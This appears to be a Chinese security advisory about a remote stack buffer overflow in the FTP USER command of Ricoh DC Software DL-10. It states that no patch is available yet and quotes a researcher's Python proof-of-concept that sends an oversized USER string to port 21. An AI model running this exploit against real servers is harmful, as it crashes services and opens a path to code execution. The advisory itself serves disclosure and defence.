安全研究

安全漏洞
Ricoh Company DC Software DL-10 'USER'命令远程缓冲区溢出漏洞

发布日期:2012-03-01
更新日期:2012-03-23

受影响系统:
Ricoh Company DC Software DL-10 4.5.0.1
描述:
BUGTRAQ  ID: 52235

DC Software DL-10是FTP服务器。

DC Software DL-10在实现上存在栈缓冲区溢出漏洞,攻击者可利用此类的执行任意代码。

<*来源:Julien Ahrens
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Julien Ahrens ()提供了如下测试方法:


#!/usr/bin/python
# Exploit Title: Ricoh DC Software DL-10 FTP Server (SR10.exe) <= 1.1.0.6 Remote Buffer Overflow Vulnerability
# Version:       <= 1.1.0.6
# Date:          2012-02-05
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://www.ricohpmmc.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Capftpd (former SR-10) is vulnerable too
# Howto:         "Log file name" has to be set
import socket,sys
import os
target="192.168.0.1"
port=21
junk1 = "\x41" * 245
boom = "\x42\x42\x42\x42"
junk2 = "\x43" * 50
payload = junk1 + boom + junk2
print "[*] Connecting to Target " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect=s.connect((target, port))
print "[*] Connected to " + target + "!"
except:
print "[!] " + target + " didn't respond\n"
sys.exit(0)
s.recv(1024)
print "[*] Sending malformed request..."
s.send('USER ' + payload + '\r\n')
print "[!] Exploit has been sent!\n"
s.close()

建议:
厂商补丁:

Ricoh Company
-------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ricoh.com/

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